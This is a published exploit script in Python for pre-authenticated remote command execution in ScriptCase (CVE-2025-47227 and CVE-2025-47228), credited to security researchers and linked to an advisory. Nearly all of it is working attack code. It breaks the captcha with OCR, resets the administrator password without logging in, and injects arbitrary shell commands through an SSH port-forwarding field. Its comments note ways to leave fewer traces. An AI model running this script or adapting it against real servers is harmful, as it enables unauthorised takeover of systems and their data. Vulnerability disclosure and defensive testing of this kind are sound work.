📄 ScriptCase Remote Command Execution

# Exploit Title: ScriptCase - Pre-Authenticated Remote Command Execution
    # Date: 04/07/2025
    # Exploit Author: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir)
    # Vendor Homepage: https://www.scriptcase.net/
    # Software Link: https://www.scriptcase.net/download/
    # Version: 1.0.003-build-2 (Production Environment) / 9.12.006 (23) (ScriptCase)
    # Tested on: EndeavourOS
    # CVE : CVE-2025-47227, CVE-2025-47228
    # Source: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228
    # Advisory: https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution
    
    # Imports
    ## stdlib
    import io
    import random
    import optparse
    import re
    import string
    import sys
    import urllib.parse
    ## third party
    from PIL import Image, ImageEnhance, ImageFilter # pip3 install Pillow
    import pytesseract # pip3 install pytesseract
    import requests # pip install requests
    from bs4 import BeautifulSoup # pip install beautifulsoup4
    
    # Clean image + OCR
    def process_image(input_image, output_image_path=None):
        # Open the image
        img = Image.open(io.BytesIO(input_image))
        
        # Convert the image to RGB (in case it's in a different mode)
        img = img.convert('RGB')
        
        # Load the pixel data
        pixels = img.load()
    
        # Get the dimensions of the image
        width, height = img.size
    
        # Process each pixel
        for y in range(height):
            for x in range(width):
                r, g, b = pixels[x, y]
                # Change the crap background to a fixed color (letters are only black or white, and background is random color but not black or white)
                if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255):
                    pixels[x, y] = (211, 211, 211) # Change the pixel to light grey
                elif (r, g, b) == (255, 255, 255): # Change white text in black text
                    pixels[x, y] = (0, 0, 0) # Change the pixel to black
    
        # Size (200, 50) * 5
        img = img.resize((1000,250), Image.Resampling.HAMMING)
    
        # Use Tesseract to convert the image to text
        # psm 6 or 8 work best
        # limit alphabet
        # disable word optimized detection https://github.com/tesseract-ocr/tessdoc/blob/main/ImproveQuality.md#dictionaries-word-lists-and-patterns
        custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300' # there are only uppercase but keep lowercase to avoid false negative
        text = pytesseract.image_to_string(img, config=custom_oem_psm_config)
        return(text.upper().strip()) # convert false positive lowercase to uppercase, strip because leading whitespace is often added
    
    # Step 1: Set is_page to true on the session
    def prepare_session(url_base, cookies):
        res = requests.get(
            f'{url_base}/prod/lib/php/devel/iface/login.php',
            cookies=cookies,
            verify=False
        )
        if res.status_code == 200:
            print("[+] Session prepared")
        else:
            print(f"[-] Failed with status code {res.status_code}")
    
    # Random hex string of arbitrary size
    def rand_hex(size):
        return ''.join(random.choice('0123456789abcdef') for _ in range(size))
    
    # Step 2: Get a captcha challenge for the session
    def captcha_session(url_base, cookies):
        res = requests.get(
            f'{url_base}/prod/lib/php/devel/lib/php/secureimage.php',
            cookies=cookies,
            verify=False
        )
        if res.status_code == 200:
            print("[+] Captcha retrieved")
            return res.content
        else:
            print(f"[-] Failed with status code {res.status_code}")
    
    # Step 3: Change the password with the prepared session
    def reset_password(url_base, cookies, captcha_img, captcha_txt):
        new_password = random.choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9))
        email = f'{rand_hex(10)}@{rand_hex(8)}.com'
        data = {
            'ajax': 'nm',
            'nm_action': 'change_pass',
            'email': email,
            'pass_new': new_password,
            'pass_conf': new_password,
            'lang': 'en-us',
            'captcha': captcha_txt
        }
        res = requests.post(
            f'{url_base}/prod/lib/php/devel/iface/login.php',
            data=data,
            cookies=cookies,
            verify=False
        )
        if res.status_code == 200 and res.text == '{"result":"success"}':
            print("[+] Password reset successfully")
            print(f"[+] The new password is: {new_password}")
            print(f"[+] The delcared (fake) email address was: {email}")
        elif res.status_code == 200 and res.text == '{"result":"error","message":"Invalid captcha"}':
            print("[-] OCR failed")
            print(f"[-] Failed captcha submission was {captcha_txt}")
            img = Image.open(io.BytesIO(captcha_img))
            img.show()
            manual_input = input("[+] Input displayed captcha to retry manually: ")
            reset_password(url_base, cookies, captcha_img, manual_input)
        elif res.status_code == 200 and res.text == '{"result":"error","message":"The password is incorrect."}':
            print("[-] Non default password policy")
            print("[-] Hardcode a password that matches it")
            print(f"[-] Failed password is: {new_password}")
        else:
            print(f"[-] Failed with status code {res.status_code}")
            print(res.text)
            print('[-] Data was:')
            print(data)
    
    # Detect the deployment path of ScriptCase and produciton environment from the homepage.
    # E.g. deployment path is /scriptcase/
    # sc_pathToTB variable on http://10.58.8.213/ will be '/scriptcase/prod/third/jquery_plugin/thickbox/'
    # ScriptCase login page => http://10.58.8.213/scriptcase/devel/iface/login.php
    # Production Environment login page => http://10.58.8.213/scriptcase/prod/lib/php/devel/iface/login.php
    def detect_deployment_path(homepage_url):
        res = requests.get(homepage_url, verify=False) # HTTP redirections are handled automatically (not JS redirects)
        if res.status_code == 200:
            print("[+] Looking for deployment path in JS and computing login paths")
            reg = r"var sc_pathToTB = '(.+)/prod/third/jquery_plugin/thickbox/';"
            match = re.search(reg, res.text)
            # compute URL without path
            parsed_url = urllib.parse.urlparse(homepage_url)
            homepage_root = f"{parsed_url.scheme}://{parsed_url.netloc}"
            if match:
                base_path = match.group(1)
                print(f"[+] Deployment path found: {base_path}/")
                print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php (probably not deployed on a production environment)")
                print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php")
            else: # either a website not made with ScriptCase or root redirects to the devel page
                js_redirect(res)
                # try to detect the devel/iface/login.php page
                reg2 = r'http://www\.scriptcase\.net|doChangeLanguage|str_lang_user_first'
                match = re.search(reg2, res.text)
                if match: # devel page
                    print(f"[?] This may be the development console?")
                    # now try to extract path from favicon
                    reg3 = r'<link rel="shortcut icon" href="(.+)/devel/conf/scriptcase/img/ico/favicon\.ico"'
                    match = re.search(reg3, res.text)
                    if match: # base path found
                        base_path = match.group(1)
                        print(f"[+] Deployment path found: {base_path}/")
                        print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php")
                        print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php")
                    else: # false positive, it's not devel page
                        print(f"[-] Failed to find deployment path, is this site made with ScriptCase?")
                else: # no ScriptCase detected
                    print("[-] Failed to find deployment path, is this site made with ScriptCase?")
        else:
            print(f"[-] Failed with status code {res.status_code}")
    
    # Try to handle JS redirect else warn and exit
    def js_redirect(res):
        if re.search(r'window\.location', res.text):
            print('[-] JavaScript redirection detected')
            print('[-] JavaScript redirection not handled (no headless browser with JS engine)')
            print(f"[-] Returned page is:\n{res.text}")
            print(f"[-] Last redirection URL is:\n{res.url}")
            match = re.search(r"window\.location\s*=\s*['\"](.+)['\"]", res.text)
            if match:
                redirect_url = f"{res.url}/{match.group(1)}"
                print(f"[?] Let's try again with: {redirect_url}")
                detect_deployment_path(redirect_url)
            else:
                print('Please try again with redirect URL')
                exit(1)
    
    # Remote command execution on the system
    #
    # Instead of registering a new connection (admin_sys_allconections_create_wizard.php), we can just test it
    # (admin_sys_allconections_test.php) so we leave less traces.
    # Even if the test results in "Connection Error" / "Unable to connect", the command was stil lexecuted.
    def command_injection(url_base, cookies, cmd):
        data = {
            'hid_create_connect': 'S',
            'dbms': 'mysql',
            'conn': 'conn_mysql',
            'dbms': 'pdo_mysql',
            'host': '127.0.0.1:3306',
            'server': '127.0.0.1',
            'port': '3306',
            'user': rand_hex(11),
            'pass': rand_hex(8),
            'show_table': 'Y',
            'show_view': 'Y',
            'show_system': 'Y',
            'show_procedure': 'Y',
            'decimal': '.',
            'use_persistent': 'N',
            'use_schema': 'N',
            'retrieve_schema': 'Y',
            'retrieve_schema': 'Y',
            'use_ssh': 'Y',
            'ssh_server': '127.0.0.1',
            'ssh_user': 'root',
            'ssh_port': '22',
            'ssh_localportforwarding': f'; {cmd};#',
            'ssh_localserver': '127.0.0.1',
            'ssh_localport': '3306',
            'form_create': form_create(url_base, cookies),
            'retornar': 'Back',
            'concluir': 'Save',
            'confirmar': 'Back',
            'voltar': 'Confirm',
            'step': 'sgdb2',
            'nextstep': 'dados_rep'
        }
        res = requests.post(
            f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php',
            data=data,
            cookies=cookies,
            verify=False
        )
        if res.status_code == 200:
            print("[+] Command executed (blind)")
        else:
            print(f"[-] Failed with status code {res.status_code}")
            exit(1)
    
    # Get form_create ID for command_injection()
    def form_create(url_base, cookies):
        res = requests.get(
            f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php',
            cookies=cookies,
            verify=False
        )
        if res.status_code == 200:
            print("[+] Parsing results to find form_create ID")
            soup = BeautifulSoup(res.text, 'html.parser')
            form_create = soup.css.select_one('html body.nmPage form input[name="form_create"]')
            if form_create:
                form_create_id = form_create.get('value')
                print(f"[+] form_create ID found: {form_create_id}")
                return form_create_id
            else:
                print("[-] No form_create ID found")
                exit(1)
            return res.content
        else:
            print(f"[-] Failed with status code {res.status_code}")
            exit(1)
    
    # Handles login
    #
    # Comes with a cookie as there is session fixation (cookie not renewed after login)
    def login(url_base, cookies, password):
        data = {
            'option': 'login',
            'opt_par': None,
            'hid_login': 'S',
            'field_pass': password,
            'field_language': 'en-us'
        }
        res = requests.post(
            f'{url_base}/prod/lib/php/nm_ini_manager2.php',
            data=data,
            cookies=cookies,
            verify=False
        )
        if res.status_code == 200:
            print("[+] Authentication successful")
        else:
            print("[-] Authentication failed")
    
    # Exploit
    if __name__ == '__main__':
        help_text = """
        Examples:
        
        Pre-Auth RCE (password reset + RCE)
            python exploit.py -u http://example.org/scriptcase -c "command"
        Password reset only (no auth)
            python exploit.py -u http://example.org/scriptcase
        RCE only (need account)
            python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
        Detect deployment path
            python exploit.py -u http://example.org/ -d
        """
        parser = optparse.OptionParser(usage=help_text)
        parser.add_option('-u', '--base-url')
        parser.add_option('-c', '--command')
        parser.add_option('-p', '--password')
        parser.add_option('-d', '--detect', action='store_true', dest='detect')
        opts, args = parser.parse_args()
    
        cookies = {
            'PHPSESSID': rand_hex(26) # Simulate a random PHPSESSID (more stealth than an arbitrary string)
        }
        URL_BASE = opts.base_url
    
        if opts.base_url and opts.command and not opts.password and not opts.detect: # Pre-Auth RCE (password reset + RCE)
            prepare_session(URL_BASE, cookies)
            captcha_img = captcha_session(URL_BASE, cookies)
            captcha_txt = process_image(captcha_img)
            reset_password(URL_BASE, cookies, captcha_img, captcha_txt)
            command_injection(URL_BASE, cookies, opts.command)
        elif opts.base_url and not opts.command and not opts.password and not opts.detect: # Password reset only (no auth)
            prepare_session(URL_BASE, cookies)
            captcha_img = captcha_session(URL_BASE, cookies)
            captcha_txt = process_image(captcha_img)
            reset_password(URL_BASE, cookies, captcha_img, captcha_txt)
        elif opts.base_url and opts.command and opts.password and not opts.detect: # RCE only (need account)
            prepare_session(URL_BASE, cookies)
            login(URL_BASE, cookies, opts.password)
            command_injection(URL_BASE, cookies, opts.command)
        elif opts.base_url and not opts.command and not opts.password and opts.detect: # Detect deployment path
            detect_deployment_path(URL_BASE)
        else:
            parser.print_help()
            sys.exit(1)